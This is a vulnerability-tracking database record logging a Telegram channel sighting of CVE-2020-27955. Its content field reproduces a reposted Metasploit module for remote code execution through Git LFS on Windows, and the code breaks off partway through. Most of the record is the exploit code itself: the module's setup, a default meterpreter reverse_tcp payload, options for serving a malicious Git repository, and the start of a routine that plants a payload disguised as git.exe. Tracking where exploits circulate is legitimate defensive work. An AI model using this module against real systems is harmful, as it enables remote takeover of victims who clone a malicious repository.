{"uuid": "28768a34-83b6-4a55-90b8-3aa8d5a8c02b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://t.me/hacking_Attack/23934", "content": "Exploit Collector\nGit git-lfs Remote Code Execution\n\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool.\n\nMD5 | 15523ed242b4fcf0e41eea300eaeb7ce\n\nDownload\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Git\ninclude Msf::Exploit::Git::Lfs\ninclude Msf::Exploit::Git::SmartHttp\ninclude Msf::Exploit::Remote::HttpServer\ninclude Msf::Exploit::FileDropper\ninclude Msf::Exploit::EXE\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',\n'Description' => %q{\nA critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\nversioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\ninto cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool\n},\n'Author' => [\n'Dawid Golunski ', # Discovery\n'space-r7',        # Guidance, git mixins\n'jheysel-r7'       # Metasploit module\n],\n'References' => [\n['CVE', '2020-27955'],\n['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']\n],\n'DisclosureDate' => '2020-11-04', # Public disclosure\n'License' => MSF_LICENSE,\n'Platform' => 'win',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Git LFS <=\n{\n'Platform' => ['win']\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n'WfsDelay' => 10\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [\nARTIFACTS_ON_DISK\n]\n}\n)\n)\n\nregister_options([\nOptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])\n])\nderegister_options('RHOSTS')\nend\n\ndef setup_repo_structure\npayload_fname = 'git.exe'\n@hook_payload = generate_payload_exe\n\nptr_file = generate_pointer_file(@hook_payload)\ngit_payload_ptr = GitObject.build_blob_object(ptr_file)\n\ngit_attr_fname = '.gitattributes'\ngit_attr_content = \"#{payload_fname[...]", "creation_timestamp": "2026-09-01T20:02:24.209906Z"}